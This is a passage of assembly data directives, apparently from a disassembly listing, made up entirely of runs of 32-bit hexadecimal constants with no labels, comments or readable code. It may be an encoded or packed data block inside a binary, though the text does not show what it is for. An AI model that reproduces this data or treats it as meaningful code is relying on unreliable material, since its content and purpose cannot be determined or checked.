0B8172778h, 5000E7ADh, 2F20687Fh, 391F4440h dd 49801679h, 855A4A25h, 9000E018h, 0C735D86Ah, 0EA81B1h dd 2EC5759Bh, 1198AAD0h, 21765C0Ah, 0E1EE08Fh, 4C30FED2h dd 0A0C74h, 2182A9D3h, 27B71875h, 0B51A7F07h, 7A6016ADh dd 48B4B62Dh dd 0F5773348h, 28FCB7E1h, 0F5EE0760h, 0A9683F9Ch, 9B76D422h dd 2620F472h, 955901C6h, 70DDF83Dh, 866530B4h, 10942500h dd 0D01E6449h, 4B782460h, 97213028h, 941E7598h, 0E5812C2Fh dd 390DDD8Eh, 0E8A94460h, 7193F979h, 0EB1E71h, 0D1E8E5D4h dd 64944F14h, 40001B96h, 461D582Dh, 48CEF08Ch, 2E102CE7h dd 0AE5F1665h, 0D8B5DC82h, 70F400F0h, 0EAE8DA2Fh, 0A2027BC1h dd 62459B6Bh, 7F17C004h, 11BA03B3h, 9DEEC74h, 5EC2DC98h dd 97874D07h, 5AE28821h, 45C4C0E6h, 0C990091h, 4FC3DBB9h dd 1D008FBFh, 36103D18h, 64F60Fh, 0A799D884h, 0FA0821E2h dd 0FC0028E6h, 0AEFD3E8Ah, 58AA3436h, 7F018861h, 5B1110A2h dd 3926C8C6h, 0B478041h, 45B45830h, 672F2630h, 9C5000E8h dd 5E16394Eh, 6AFD0100h, 0A7D3651Ah, 96DD00C9h, 0DE8681EEh dd 3226D2BAh, 0CD05D442h, 0D3C0BBE2h, 0F40F897Dh, 11D900B2h dd 0C248B9CFh, 942C6D93h, 0C100F4EFh, 137EC3FCh, 74E40058h dd 55BF1C9Fh, 8B83B4Eh, 732FE300h, 71DD7284h, 0FFAC2613h dd 0A5550348h, 80B86E2Dh, 900D023h, 15578B0Ch, 3C71CD3h dd 0AA69ACBCh, 0E10056C4h, 0A8BAC034h, 40B5E5h, 92F8D4BFh dd 49BE8C60h, 0F2CFA61Dh, 350A7A80h, 1877C3h, 513E074Dh dd 228ACEB5h, 32622Fh, 1E8B5398h, 0E07B619Ah, 2329E307h dd 0A2110F58h, 0C68E8088h, 971F70h, 0EA711AC2h, 7DC80A7Fh dd 0ACBFA800h, 0F9FB9D04h, 84A0C281h, 0BDE02B50h, 6F00F005h dd 100348A7h, 0F90D5Ch, 3D429E56h, 93A5DA2Ah, 9D88E709h dd 0C6E087D6h, 0F295FA50h, 0D9B70081h, 0A1FBA30Dh, 0A0DE7C6Ah dd 98997384h, 82201D22h, 3AF6FEAFh, 3887C44Dh, 998C0B67h dd 0FC25F000h, 6E007CD9h, 21BAB096h, 48B140DDh, 560BF84Ch dd 70DC1481h, 0D5DF2B02h, 1FA440EEh, 7510017Fh, 8F67480Fh dd 31A448F8h, 0C1B65E00h, 0AD63238Dh, 0E8380020h, 0AFFC7062h dd 0C92C95Ah, 0EC00DD5Fh, 7E540980h, 90816739h, 0C0F6B406h dd 31A5338h, 56B9E101h, 0D351A4D0h, 0E46806E0h, 7467001Eh dd 6C14FD02h, 0F0FF61Ah, 206F8462h, 42370A10h, 29C907Dh dd 0BDD60CA1h, 7840B2DDh, 58005DCEh, 0B6FEF9FDh, 346A13Ah dd 7ABEE76Bh, 26D0B42Eh, 0B23078h, 8FE6B700h, 9638DB7Bh dd 5CE4F291h, 0DD003C45h, 2A858812h, 0B8B0F509h, 0F9C0E30Eh dd 5577D9Bh, 0C85084C0h, 0B667E18h, 305ADECBh, 12C7E801h dd 0A52AD0D7h, 0B79D57Bh, 1B543Ah, 1ACD6C86h, 2653032Fh dd 7CAA2Ah, 8B7F3481h, 1B77D3B0h, 7C774A05h, 0C4C4570Eh dd 0A400E816h, 29997F1Ch, 21306FAFh, 433F8480h, 8100826Ah dd 0EC63DCE7h, 7BE5818h, 8A754947h, 0DDFE1296h, 5D5E1458h dd 90644420h, 0F9F10045h, 8847C7C2h, 285CAD20h, 69420044h dd 5BFB338Ah, 9C250005h, 760A6B57h, 0BC00BEC7h, 8FAE4A28h dd 9F290AFh, 561643D9h, 29CDC841h, 4DCA8534h, 0F030FC0h dd 979A00C0h, 0A0D279C6h, 61001B12h, 8AA184A5h, 5BB4BBAh dd 9554D1BFh, 0ABB38120h, 0FE16D822h, 30888C00h, 3AE28EFCh dd 232B0013h, 247E80F6h, 0BCA1762Ch, 1C702F40h, 2511A1DAh dd 0E44060ECh, 58001E70h, 87FB6B15h, 0FA6534D8h, 0D09B4C13h dd 3FCF9407h, 378FB0DEh, 0F900245Dh, 1CEC0464h, 0C47C3Ah dd 0A363F755h, 1F3F33A9h, 3894A700h, 0BE739F4Bh, 76F40069h dd 98F116B5h, 2E00C901h, 41D60984h, 7DA4B9Bh, 8F8EE18Ch dd 0D5B793E5h, 16DEA6F0h, 29D0EE50h, 1CAB000h, 3B0547A7h dd 0C28700F2h, 0A70BF79h, 8500E7C0h, 0C3097BC4h, 0D7148Ch dd 6F4E322Ah, 0D2118B72h, 653D0F0Bh, 68B88204h, 871FE24Dh dd 5A015FCh, 254E2BA2h, 3C02DA56h, 805C9044h, 0A3EB5767h dd 0A0D738BCh, 0E33662h, 0FD45270Ah, 630B5273h, 68423F02h dd 5E3E2FCCh, 0D2D81E94h, 0E160003Bh, 0A0095F18h, 68833424h dd 2D7B0300h, 275D6D8h, 0BD6BD26Ch, 4C402E62h, 24015480h dd 0E30EFA4Bh, 28DC08h, 0A0CC397Eh, 0DBBF6700h, 82D230F5h dd 3C006F4Eh, 45A52B4h, 67711EB1h, 3131F3Eh, 0DD82EF8Bh dd 999D2A98h, 0A2FE000h, 0B6FFD0ACh, 0E3F02EC9h, 62B5011Ch dd 0CC34FB3Ah, 1400E62Bh, 8071537Bh, 0F10B97h, 0B7DD375Fh dd 43C2F726h, 0BA9A3613h, 0CD45E00h, 62E6FBh, 94AE70AFh dd 3258B266h, 0FB0C63Ch, 20E0C38Ah, 8FC52B41h, 0A69F0480h dd 80D13D93h, 0A9D5B480h, 1EB1060Ch, 1D21E8EFh, 0C229B2A8h dd 2AF3FD6Eh, 78000044h, 0BDFF3802h, 3103CCh, 2F0F74FBh dd 17564A33h, 8736A00h, 4D35282Ah, 1475076Ch, 0CA97D603h dd 3CFD00F8h, 152BA15Dh, 8A4EAC07h, 97B0CA30h, 17FBF05h dd 95E85982h, 0C5C2AAAEh, 80602A98h, 0DBD19Bh, 0F490798Eh dd 1C6EF014h, 6A62DE16h, 801B101h, 903CF667h, 7D4AF454h dd 9CF40BCCh, 0F482C5FEh, 0F460BD61h, 589805DBh, 0CA354302h dd 40AA81DDh, 9AD30B00h, 1042434Ch, 70BBB58h, 0B80A40A4h dd 0D9290299h, 84D88175h, 0E08AA800h, 80B534B6h, 0E82700B0h dd 2A1D1C45h, 657639A9h, 7BE158C1h, 43830AEh, 56547500h dd 0DE871BD5h, 67914907h, 633C03Bh, 5974D844h, 0C2E975E6h dd 0CDD9680h, 8CD8F440h, 250EDE00h, 0ECFAB971h, 0AB6A016Fh dd 0F1FBE7B1h, 0C456D6DFh, 0C0C90A8Bh, 0DDA7B78Ch, 93F40048h dd 8FE143D6h, 32481701h, 67C7A2FBh, 983868DCh, 3AEE10A0h dd 90152586h, 189BB19Ch, 11145284h, 60069EEh, 0AC62DA8Eh dd 187E2A3Fh, 213B9ABFh, 53766079h, 8801C803h, 0C7DC5CB0h dd 287605Eh, 12D254DFh, 37E8D45h, 0BB4C0C99h, 0CD1C76E9h dd 38F8307Dh, 0CD00F675h, 47B5BFEAh, 995B5263h, 2553010Ch dd 0CC29F94Ah, 2872C065h, 1755702Eh, 21308025h, 0A96DE1h dd 6C3CE8C4h, 48BD8A01h, 0C7844600h, 0A1C6DA99h, 0C3150531h dd 2D3C23h, 563D1FECh, 0CC09F10Eh, 684A8943h, 157A70h dd 0DC9C6D91h, 0E6A07186h, 1A353900h, 0B40DCA93h, 88FB0072h dd 0C4DF380Ah, 4900A928h, 9BB85FA8h, 0DD9FF1h, 79F553D9h dd 0BC91805Ah, 8E56210Fh, 255E6984h, 0C4C99740h, 3D83C20h dd 0F590FF9Fh, 0FE9C98Eh, 0CB9AD879h, 51C8341Eh, 0A468FB00h dd 110277h, 55C60A5Dh, 283B4091h, 0E5CC8005h, 78C397B1h dd 906DDA7Eh, 0A8C3A1A0h, 0E816FC94h, 0CB1400D2h, 4030B54Ch dd 5500174Dh, 0DAB14328h, 55931F2h, 3F547670h, 0D0C4F421h dd 78003EF0h, 49FCF1E5h, 1CF6ED4Fh, 1D346A6h, 424A6585h dd 3DDC605Dh, 1A004871h, 0FD686A29h, 3DCB47F8h, 75AF12h dd 441D6266h, 0A532DB65h, 0A9610300h, 0CFF14D8Ah, 742F1E05h dd 0D16A0E85h, 20B17E0h, 0C4007E93h, 9731BAAFh, 3F32F774h dd 3A007095h, 0C39AEECAh, 0B4165CE4h, 6C403324h, 3B184A86h dd 353700A2h, 5F0D4FC8h, 3E0E5532h, 2058234Ch, 3B723922h dd 43243B41h, 7C3F388Ah, 3D2F0208h, 90A077D0h, 0D1C6891Eh dd 621E9890h, 7D0CA218h, 0F028111Dh, 1353F8BEh, 40EF2E04h dd 815B6C04h, 100EF76Ah, 831F687Ah, 7802C36Eh, 7EF7C20h dd 0C393EDEh, 0CDA08080h, 20A01505h, 0A2321062h, 78822860h dd 0BE7809ECh, 0DC207D94h, 14779375h, 0CDBAFB05h, 1400B06Ah dd 0D60FDC87h, 282D5005h, 0BBA8C064h, 2B045E62h, 82BE0886h dd 8131F6Ah, 8099D90Fh, 0B686F730h, 0D57103E0h, 92DA06CFh dd 0DD61609Fh, 0B8C046C2h dd 0E574AEEEh, 90D4005Dh, 0F9FB8F6Ah, 4D0064BDh, 37356CCFh dd 0CBADEBh, 0A954B314h, 0BD835A8Ch, 65BA2E00h, 61C470CFh dd 0F3E90040h, 0B0913744h, 4707A613h, 0EEF2B689h, 9050B2D0h dd 765A38F6h, 0D380E83Bh, 0A04082BFh, 843E972Dh, 4D788F20h dd 0BA2CE1CEh, 0E180E109h, 8C1C2BB9h, 60010484h, 78FCE458h dd 2180E208h, 0D2B0BC82h, 0CC01B291h, 0C0F56305h, 0BA00429Eh dd 0F002F43Dh, 0ABCA32F6h, 0B374C106h, 0F9A0B457h, 0F3D91Ah dd 2094923Ah, 2F027F82h, 0F67ACD04h, 72C02EEDh, 16AC35Ah dd 29E8D6BFh, 4872B735h, 0AC0141C0h, 6F6A7B17h, 7ADCD560h dd 6EF21566h, 0DE00F473h, 0F54AE30Bh, 0A0097CFh, 928B5D17h dd 0EBA0946h, 0ED37B564h, 13ECF4C7h, 390078C3h, 2C08DF60h dd 0EDC89Ch, 90254CB2h, 1603CBD3h, 915670F3h, 4BD4C200h dd 0A2656AB6h, 0F7570080h, 8F1BE605h, 0F800E187h, 0E8E23BF1h dd 6165074h, 174486C2h, 0DC0508CEh, 8EA3688Ch, 9DEC8281h dd 3DF54D0h, 96612336h, 0D0E13F8Ah, 0D399F087h, 60228B03h dd 0C12381D9h, 55D1D6ACh, 6232108Fh, 617E3763h, 8F649FE0h dd 38E7B500h, 209CE850h, 8CA400ADh, 8DC76B3Eh, 0A37C6522h dd 0D3693007h, 83833D87h, 0F30A6B8h, 97AB32B9h, 0A480380Eh dd 0D55427FBh, 7C6F8301h, 0F96C91D3h, 47A6444h, 0E60EC3EFh dd 2E100687h, 192BC996h, 0D6095800h, 8710DA31h, 2F2107BDh dd 0B3A5CD0Ah, 0CF904E85h, 2C606B49h, 33973731h, 9BAE03E1h dd 83964892h, 21320830h, 0E339CD6h, 0AA496C3Bh, 6520F5CFh dd 187C8DAFh, 0D30032EAh, 50AEE4F0h, 3A9564h, 0B95679C0h dd 0F6E6D478h, 0A8B57401h, 0FA75D92Bh, 0A540C18Ch, 30C0AB36h dd 64EA0477h, 174E0680h, 298672D9h, 89215130h, 804284h dd 70584ECFh, 0F0D0D49Ch, 5CA2310Ch, 3C9E8F9h, 9316D2D9h dd 410077DEh, 5802F2A4h, 19638330h, 8EAC9F5h, 8D2180BCh dd 0BB802FAh, 79BE03C5h, 0F3CCB2B1h, 70455006h, 85E02031h dd 60A5C42Ch, 31E48Eh, 6023580Ch, 6728B16h, 0DAE4DD54h dd 0CCA15D00h, 26CD5C9Ch, 0F37DB8h, 3009E53Fh, 819EC1D7h dd 0B358EB61h, 3982A8AAh, 0FFDF924h, 6E0F0452h, 0C1EA3658h dd 4F2B576Dh, 0D6B853h, 36418321h, 9D7C036Eh, 70140A7Ah dd 0CA0C73Dh, 29D2A1B3h, 308B49A7h, 0C62D9900h, 0B4FF6F50h dd 0FC8F1D00h, 9C7BC939h, 0BC406260h, 0E0E4C03Eh, 593F8B11h dd 6DEF708h, 984A3140h, 0A449296h, 9C16D159h, 2F5C0A4h dd 0FB46305Fh, 8A00A222h, 32E102FDh, 35FC022h, 3844A3BAh dd 0C03ADBE9h, 0A1CF2051h, 0A918436Ch, 0AEE33304h, 3A32954Bh dd 3390E027h, 30DEC093h, 0B371B075h, 88A8C1ADh, 0E53405C7h dd 680668CCh, 0A412E1Ch, 0C75840A0h, 48F0384h, 1DE0B192h dd 0B490C462h, 1F40D815h, 0A36C1E94h, 0CA3D38B3h, 0AC744063h dd 4A942408h, 0D8143E80h, 4305EC2Eh, 1AB6CB1h, 49384D98h dd 0D0402129h, 5E10D89Bh, 0D23716C3h, 0CB350390h, 13E4A00Eh dd 2C910644h, 88E95130h, 339430E6h, 93AEE208h, 40356492h dd 67339DEDh, 0E2FB1C4Ah, 0EC987E54h, 30DEF94Ch, 925D4607h dd 50437EB3h, 19390E3Bh, 6F209A42h, 0B8EF7B32h, 7054750Fh dd 1E08E59h, 1CDD400Eh, 0AE444987h, 0C4FAF0h, 0CBF80FC0h dd 31035967h, 41205A61h, 0E9D012CAh, 0E554041Eh, 0A430D025h dd 0AD40C058h, 51B260DEh, 13F7922Fh, 760297F6h, 0A4511216h dd 4CD8A096h, 20BBEBh, 0D0F9FBF0h, 28F8526Eh, 3D0423F0h dd 0D3055596h, 8C8E2094h, 12C03088h, 30D2551Bh, 0C6192251h dd 140035FDh, 0ED396EF5h, 171B5Eh, 0F22CF6DCh, 9663CAD8h dd 9C6C354Ch, 0B080F0C6h, 145009D8h, 4020DA06h, 2DF8D15Fh dd 85A73800h, 0C3308A8Ch, 9282072Bh, 0D264F7A8h, 908022EDh dd 8168B291h, 4977B492h, 0D06D9624h, 0F3C09E9Ch, 0E2A9DEFDh dd 5108C6FFh, 9300813Dh, 0B93EF0D1h, 399149h, 844C2C55h dd 4089636Fh, 4E95F103h, 0D1622B30h, 7E31E643h, 0E1A6B010h dd 0D94016Ch, 79C3CBF0h, 8E089888h, 0F9B921h, 83B5FC6Ch dd 3D0DA809h, 50448259h, 9444AC04h, 259F0984h, 6CB0FBF9h dd 0E8763666h, 67A87D21h, 87369081h, 0B001DD38h, 572B4CDh dd 0C8F63D4Dh, 40FB7524h, 0A348B316h, 86781ECh, 9C4026DDh dd 309AE734h, 9708F956h, 4E7F599h, 0FB5C0820h, 597F0058h dd 270D0205h, 0C7600EEDh, 56BC1051h, 0EC011FD9h, 5F2CC042h dd 0BDFE7FBh, 8864B858h, 49908927h, 34600D00h, 5DFEACD3h dd 0F1659C07h, 4A9BADBh, 80645644h, 83AEFC54h, 0D7C0D0B1h dd 0E67B339Fh, 763400CCh, 88A3E4B2h, 0F154A4D5h, 0AF008AC4h dd 3C35C43h, 108C0A39h, 32E8B9CDh, 679050A4h, 80514F18h dd 0D6ADB258h, 24887308h, 60606E46h, 0CD677C34h, 0A1567100h dd 0C0E53392h, 21DC6005h, 24CB1AC1h, 0D5F0B500h, 0D64E90F7h dd 0C8650EC9h, 49296497h, 0D9085C27h, 0CFA1D090h, 62A9D988h dd 437420F4h, 0E830C611h, 788A8A44h, 0B9EC6360h, 1391900h dd 56C4903Fh, 0EF7000Bh, 0C8F6F827h, 9C1F4AAAh, 24382E38h dd 0D0150BEh, 8E8010CDh, 8C40A074h, 0E633A80Eh, 343876AEh dd 1917DE1h, 0ACB32B1Ah, 40C7A23Dh, 961F08BCh, 8304324Ch dd 0CCC858AEh, 0A400F709h, 5231FD67h, 4893282Eh, 0D3BCB98Fh dd 5985F404h, 12903016h, 60ECE153h, 480C2C7Eh, 38F2BCA2h dd 410A0020h, 436C8F8Dh, 0E091A7FCh, 0AA84EF9Eh, 8362E00Dh dd 6CE7B720h, 22BD5C1Bh, 20ECB413h, 0F47D7CBCh, 1144201h dd 9B7547C3h, 90F0E00Ch, 0DE51EA00h, 63F4EFE4h, 24EE1C30h dd 7047815Eh, 74D79D26h, 58C91ACh, 306602E8h, 308CE93h dd 0BA02F08Bh, 3B42E8A7h, 2FC0028Ah, 0D73E05ACh, 97F6AC81h dd 0CD72E08Dh, 3F2E7092h, 46743C61h, 75AA1FA1h, 0B456C580h dd 0C1F35958h, 0E21DF9E1h, 0AC6086D1h, 46C89D01h, 2FE019Fh dd 60E3305Ch, 89A01028h, 0D0003E6h, 0B8F68067h, 1322243Eh dd 8B1F808h, 5AC1E784h, 5DD8F436h, 0D2448657h, 3643038Dh dd 0B60ADE11h, 898614Ch, 2BBA050h, 0D22A3571h, 0C24C90A4h dd 0A448CBA8h, 732ED927h, 8A4E2C83h, 0FF40649Eh, 21304102h dd 0A09163EBh, 3E78400h, 37284295h, 654BF7F0h, 1DF62CF0h dd 0C2E921FCh, 0A3B2449Ch, 0A72A7C52h, 803A488h, 942E754Fh dd 319FF827h, 4AA53E16h, 0C11E4C9h, 2F5112B0h, 13E37440h dd 24BB169Eh, 3DF0D9D2h, 0EA8F506h, 1A7061DEh, 1CB00300h dd 5C3AC929h, 5E700483h, 0D2E39985h, 1851AC78h, 0C0183479h dd 9A7FB917h, 0B09C4E00h, 485CB231h, 5E06B4AFh, 313CCA96h dd 91D80E30h, 12A20A8h, 0B5794625h, 0D863D0A0h, 564CE939h dd 449F0970h, 7FA04850h, 0A779Eh, 78E05A3Bh, 0E61479C4h dd 13DCA258h, 8020D8B3h, 0B24E94h, 7F0A2FC6h, 0E154A052h dd 0D45FFF2Ch, 60A7F108h, 0DA96CE6h, 0F4A640B8h, 1B08544h dd 0A9986CFEh, 74B8AA99h, 38757F24h, 3501B494h, 0BCB0B1A2h dd 49F924F0h, 5B8350FEh, 65B2E936h, 8010D131h, 0D23A3640h dd 0AC272632h, 4D2C08h, 68A674FBh, 10DCA588h, 8424510Ah dd 0CD39E80h, 0BFECAA1h, 266D14BDh, 0E023A093h, 6CE200FDh dd 0CBF80D95h, 0B49A4486h, 5F6CFA09h, 1685D532h, 9205814Bh dd 6832EDh, 0ACC40751h, 391CCF9h, 588D643Ch, 0B0FC6138h dd 0DA44D894h, 3E53012Eh dd 2D1DC271h, 3FB8283Fh, 59201242h, 92C95880h, 81956063h dd 6FA0B396h, 0B610F460h, 284A3E59h, 30B49E2Ch, 50298FA6h dd 6A761255h, 48420502h, 800EBF90h, 3C2D723Ch, 8FD02824h dd 5836399Ah, 92CF602h, 9CA02051h, 0F498DD34h, 309288ECh dd 114AA4A1h, 0C8E2F6E4h, 0C089A49Ch, 5171A179h, 0F11276BAh dd 0AB008DE4h, 4A59F9D4h, 0B996F8D7h, 16086C88h, 9D461898h dd 5A02F402h, 0BB31F330h, 2FCB710h, 7D36C403h, 0BFECAEh dd 46C3F219h, 0DA098D9Fh, 0D6D50A0Eh, 8442961Ch, 68FA3D0Ch dd 312FA7F0h, 0D939B5ECh, 83EBD821h, 7E5A1F00h, 5E182B07h dd 9F8E090Bh, 0AC103197h, 0A4AAC40Eh, 9CC2DA40h, 9A073700h dd 4909325Eh, 890428BAh, 175B4CC8h, 650E12Ch, 39DBAFB3h dd 4406D92Eh, 0ECA2B140h, 0C930CEF1h, 0BCE88434h, 1209E68Ch dd 8879A269h, 24EE54C8h, 0CAF33800h, 2DC39B1Eh, 0B2A701E9h dd 0E0203ECEh, 0E060DAC2h, 0B95D0864h, 0E01F2E04h, 12324674h dd 0E7005F95h, 0B79A0F36h, 58D6627Dh, 0C9023585h, 49386114h dd 8B748040h, 0A5B38020h, 71428CA6h, 50A44C7Ch, 0D5385B81h dd 5048A93Eh, 75D4C580h, 184F0A08h, 1958CB96h, 0DB004CF7h dd 43DE34E7h, 53D75C8h, 2CD68D36h, 0C04C9B28h, 7C5CD0E6h dd 0BEAF01FEh, 0EE354E1h, 0F4A180D3h, 0E77672B6h, 0D5C400E5h dd 595BC12Fh, 1F013E62h, 0BDEBBC4Eh, 7C732C5Fh, 0BE078E48h dd 0C17A8B8Dh, 63FB4907h, 0AC4788A8h, 17E029FAh, 4C2020A7h dd 46E6EA04h, 903C59h, 0A70E81E3h, 4D97FF5Ah, 9618EC55h dd 584449C4h, 0B8454D4Fh, 7C89E159h, 3047FC02h, 0EF113395h dd 3F88ABAEh, 33C0EC9Eh, 0D299074Bh, 5A5839F4h, 31E559E0h dd 0F74A48A2h, 0E4093812h, 0CFCC6DCFh, 309479E0h, 41E0672Ch dd 0F44C2892h, 6B661324h, 0FAD9890h, 0DBA3042Bh, 0D2B836AAh dd 386CE450h, 8E7E0B13h, 8CE74498h, 976CFC04h, 8062880Dh dd 9F34623h, 1365F220h, 0D9527C99h, 0C8F761AEh, 10006D59h dd 430207F7h, 4AAFAA21h, 0AEFC2208h, 8CA5CFE3h, 4825505Ch dd 63D811B3h, 0F082E829h, 5602B478h, 3007250h, 0C568E51Bh dd 6690E279h, 190F3803h, 6C363ADBh, 2A4E031h, 8067BA1Dh dd 0C084444Eh, 364161F4h, 0ACB50020h, 8EEA44C0h, 42365600h dd 887DE987h, 284F0B89h, 0F048A402h, 98008DA5h, 9E6B03ACh dd 1DE6545h, 0F215FDFh, 389408DAh, 436C0BCCh, 0E3B431F0h dd 0FC0C2EE8h, 0B38085CAh, 5E96CFBh, 800C1E81h, 0FE0D87A9h dd 0D8B6928Ch, 4558E060h, 0EE31F462h, 79A85915h, 2E5183Bh dd 5CD84FF7h, 0AC444C27h, 98CD8B24h, 612244Ah, 10AE8888h dd 19ADD850h, 4419318Bh, 0CF238829h, 0F4317B13h, 9E008ECCh dd 3161C997h, 8AA7F739h, 0F81A7980h, 0DD2EFE81h, 3A2C5200h dd 56952915h, 0D4F649FBh, 30E27442h, 13FAA830h, 93F17EEh dd 9865AD74h, 65A1E4h, 3FF8B7B6h, 402FC63Dh, 56D404E4h dd 20DD88C2h, 0DE986DF2h, 49744600h, 2107E4CEh, 52AB0ED8h dd 960A87Fh, 0C2C6D3Fh, 44CB4801h, 0D32B1138h, 0EBB81029h dd 0E5F5008Ch, 9345EDC2h, 750014B2h, 643E6699h, 58567421h dd 337D8E1Fh, 0B339CCA1h, 432ED0A7h, 9C9C8740h, 56350C60h dd 7A0927Bh, 0D9425BB0h, 0B1BBD569h, 7F402DACh, 0A7C59A07h dd 3971DA04h, 0F0203ECAh, 0F8F11D6Eh, 67A6BC74h, 63DE81BCh dd 845BE7B5h, 99FC3C0h, 300810CCh, 0E81F21Fh, 4518683Fh dd 0C8692270h, 0F5330E56h, 4D822082h, 7C63DDFAh, 0ABA90998h dd 0CBFC4F00h, 5BE671A2h, 578700C4h, 0DD10DA72h, 75380F0Ch dd 7E00F4A5h, 7850C751h, 39C42104h, 0E6F89C7Ch, 9F7CD6h dd 42841BC8h, 0EA309845h, 726F8700h, 109AF3C2h, 0B87A73EEh dd 3C6EE2ACh, 0A480890Fh, 678E5F0Ch, 0E6009633h, 43F501ACh dd 908CA8A1h, 58A7127Ch, 5B280142h, 269016D1h, 2E91F40h dd 0C49B3008h, 0F18E44BEh, 0D4735081h, 194D3698h, 7834AA49h dd 10C760B6h, 64E0DC35h, 140B242Ch, 70D0B750h, 0A4E9D43Dh dd 0B1584018h, 28CDF918h, 2CF06DF5h, 808AF66h, 0E560A7FAh dd 210DA86Ch, 9F91CAD0h, 6CFDB500h, 0B63582AFh, 0BE1FDF01h dd 0CD96B0B4h, 0F8485472h, 50A94C10h, 0C5DDAB0h, 0C62000F8h dd 0F22CF7D7h, 0CB7FE2CDh, 6C480E88h, 1A00B538h, 728CD316h dd 0F6B72D71h, 9B5C02EBh, 0EC41CB0Eh, 81D78490h, 9473350Bh dd 9D9C9249h, 83D211A0h, 0A59651EAh, 5C1A50F4h, 2E4E9C21h dd 0BC237Ch, 26CA76BFh, 0A048B264h, 2934CFB8h, 7940512Dh dd 5BD18D3h, 0A250C58h, 2C980272h, 0B0A4DC43h, 0E258E26Ch dd 0F30F309Ch, 0D6342C00h, 21F658D8h, 0A466130Ah, 58601868h dd 90B93D59h, 6660D4D3h, 0DC00024Fh, 0E4005BBh, 9E5958FBh dd 0D0D1975Ch, 0EDFD018Ch, 4A8D4B00h, 615BD07h, 0C5F9C0C0h dd 3AF27C98h, 6342249Ah, 25CB8B0Ah, 740CA6F8h, 0B10F3546h dd 52E0240Ah, 30593CB9h, 4540DC9Ch, 80CD6118h, 14910EE9h dd 0FC4A6800h, 0C30D1D3h, 40731150h, 8C004C5Ah, 703ADD28h dd 162CE7F6h, 18583023h, 0E866F172h, 1E0164B1h, 5A3D087Ch dd 4C34FC31h, 5E80B491h, 2D02BC46h, 188AB3Eh, 0B700A0F9h dd 0FCC6C1ECh, 4F64002Ch, 8423D3CAh, 2095A5E7h, 3EB890C4h dd 12524AC9h, 23003A08h, 750129Dh, 15DE05h, 0F23AC7A5h dd 0F0A4E404h, 2080A83Ch, 13B143Fh, 0A2E98A7Dh, 0EB8DE340h dd 40796CE2h, 7198271h, 70E969E6h, 0F14220Eh, 81EEA151h dd 1274FBD2h, 0FC58F02Dh, 1C8CD0E8h, 0A677502Dh, 0F77D4064h dd 492541C8h, 0EB900185h, 0C450B4D1h, 0EE7BA1h, 9DFE7FAAh dd 0F6E0B6CCh, 93129801h, 0ABB24F03h, 47049C7Dh, 73AFD08h dd 200BA20Eh, 0CD33CE10h, 9C81E6E9h, 0E3449204h, 22847814h dd 2E122130h, 0F0ECF3h, 0A0E94CE1h, 703113C0h, 0B10043ACh dd 2AFF74FAh, 40E212Ch, 0CB6DD377h, 0C1C08437h, 0CD011Ch dd 6414A23Fh, 0B2249094h, 30D0E258h, 9C05B7AAh, 8D582741h dd 40335808h, 0A0CC50AEh, 38E34C80h, 5167A1Eh, 8400802Ah dd 0B899F51Dh, 0D718BBD1h, 83939201h, 633E1D8Dh, 4D0C9034h dd 0EDB88C6Fh, 29683D02h, 0F013606Dh, 2EFA4628h, 263BB85Fh dd 0D4C4D845h, 36A08C4Fh, 0D5ADF3Bh, 93C37538h, 48B795Dh dd 0F5C3D5C8h, 0AAEBE0ABh, 0A06502CDh, 0A8954B96h, 58B480A0h dd 4969A341h, 11049D10h, 66C78082h, 0B64C4A3Eh, 0C82F17C4h dd 1B03DDF4h, 0FC3F353Ah, 0CFC588E6h, 0EC0FCE7h, 0EA5BF532h dd 0C80DDFE4h, 0A331B3E8h, 542EC1CDh, 2B5E3033h, 3A9C239Ch dd 0F0B87500h, 1374C2E6h, 0A8245A4Eh, 10C1A0DAh, 2A5049FFh dd 0F1372C40h, 4E1AFDh, 771804F5h, 0A8F0AB6Bh, 0B4D239h dd 3628FADBh, 9992C3A6h, 18A2D1D0h, 4EF90209h, 508E39E5h dd 253590E0h, 0F9FF788h, 0E8529E58h, 825BC15h, 3597944Ch dd 0C3821F40h, 0C0F4B5B3h, 6218C185h, 98492AC5h, 0C448C56Fh dd 0F0C86383h, 30D92F07h, 41E14975h, 0F92C8705h, 0F14C843h dd 0D9401C0Ch, 0D0CCFC89h, 1E1D1670h, 593CD3C4h, 90C37EDAh dd 669F8EF8h, 9C0EE2E0h, 255ADE8Dh, 0E88E3354h, 0C93488h dd 8F38FFB9h, 1331774Fh, 0D07008E8h, 0A4E366F8h, 830CA5Ah dd 1532FF6h, 0AFCDEA1Bh, 0BEDF0A05h, 2C2C3BA8h, 0C6B82048h dd 4365C16h, 0F2574DE4h, 458F801Ch, 753D36h, 43E8BEEEh dd 0C75870E5h, 0F84E4DF2h dd 80CCB8D1h, 0EDF94703h, 4A1984C5h, 22029E44h, 4C4AD0Ch dd 3E4404A7h, 287B6B60h, 1C0C4AF8h, 51A7D12Fh, 399BF207h dd 3200E4C2h, 0A075E848h, 0FC017CFDh, 0C60AC8Dh, 0ECF359C9h dd 4ED30CB8h, 0ECD410E0h, 0C61DA902h, 445E807Ah, 493F808h dd 0A216E471h, 30D6F2C0h, 8C0FEFC8h, 0D7A5E53Dh, 0B8A8B884h dd 38C80BCh, 15D0B1E9h, 40BCDA5Ah, 0E84CF244h, 0D7A11C26h dd 919F00F0h, 8ACBAA2h, 68A6F427h, 14453E24h, 0CCCFF170h dd 0F400E30h, 28B4F9CDh, 8656611Fh, 7024AE09h, 162E782Ch dd 1039411Dh, 2F1094E0h, 34561ED6h, 0BB69ED00h, 18879E21h dd 487EC63Dh, 8D4E03ACh, 348834CEh, 0B84916C3h, 0E8D2CDFh dd 0B2B05A93h, 0E02A8FCBh, 0D4465E5Ch, 7880AA3Dh, 84939F38h dd 5CA15235h, 0F2806224h, 0B47B30D1h, 1F3BC316h, 0FA9C88h dd 94880350h, 4909CDD4h, 20EF801h, 8A2AED1h, 682DA6C1h dd 980078E8h, 586174FCh, 92F1A8Fh, 0DCAE358Ch, 0B4CEEC07h dd 598CE094h, 0CFC8C30Eh, 63DF698Bh, 0D0201024h, 44122E92h dd 3BE4674h, 0CC3A792Fh, 0F894BC1Dh, 86019481h, 0C50DC707h dd 1C78C221h, 40B6F04Ch, 47091CD4h, 0F7B1895Ch, 1A02648Eh dd 0F470E046h, 0E9919030h, 3008A611h, 0FA107758h, 3CA7201Ch dd 0E8603164h, 8B27C10Bh, 50F410CAh, 0C307E3B4h, 190E28C4h dd 9A814F58h, 4046E8h, 27A51993h, 0F59DE910h, 613DB800h dd 59CF3C6Eh, 